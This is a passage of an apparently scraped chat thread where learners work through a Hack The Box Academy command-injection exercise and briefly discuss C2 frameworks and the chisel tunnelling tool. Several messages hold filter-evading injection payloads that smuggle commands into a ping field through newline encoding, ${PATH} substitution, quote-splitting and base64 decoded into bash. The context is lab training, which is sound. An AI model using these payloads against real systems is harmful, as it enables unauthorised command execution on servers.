Find the output of the following command using one of the techniques you learned in this section: find /usr/share/ | grep root | grep mysql | tail -n 1
whenever i try the find injection with obfuscated text, i get the pwd listed. Whenever i encode the find injection with base64 it give me only the ping results. What is correct?
||%0af'i'nd%0a${PATH:0:1}usr${PATH:0:1}share%0a<<<%0agr"e"p%0aroot%0a<<<%0agr"e"p%0amysql%0a<<<%0ata'i'l%0a-n%0a1||
||%0aZmluZA==%0a${PATH:0:1}usr${PATH:0:1}share||

[next bronze]

if you haven't got it, again dump ms01. what sensitive data can you access once you've gotten admin on a machine?

[rustic sage]

DM'd

[autumn garnet]

Bummer. I don't know anything about c2 framework. Is there no module on it because it's not open source?

[gray portal]

w

[next bronze]

there are a number of good open source c2, just that there isn't a red team path at the moment

[autumn garnet]

I see, thank you for your time Xre0uS. I'll do some more research, just though I'd try hackthebox first

[next bronze]

if you're just starting out there isn't really a need for a c2 btw

[soft cedar]

did you get it ?

[dry halo]

https://academy.hackthebox.com/module/158/section/1437

the ubuntu machine has libc6 dependency issue for the lastest git pull of chisel. However chisel chisel1.7.2 seems to work fine

[lusty thicket]

encode in b64

[frozen mesa]

%0abash%0a(base64%0a-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)
Anyone a hint what i am doing wrong? Only the ping results are shown.

[lusty thicket]

that’s because the command is wrong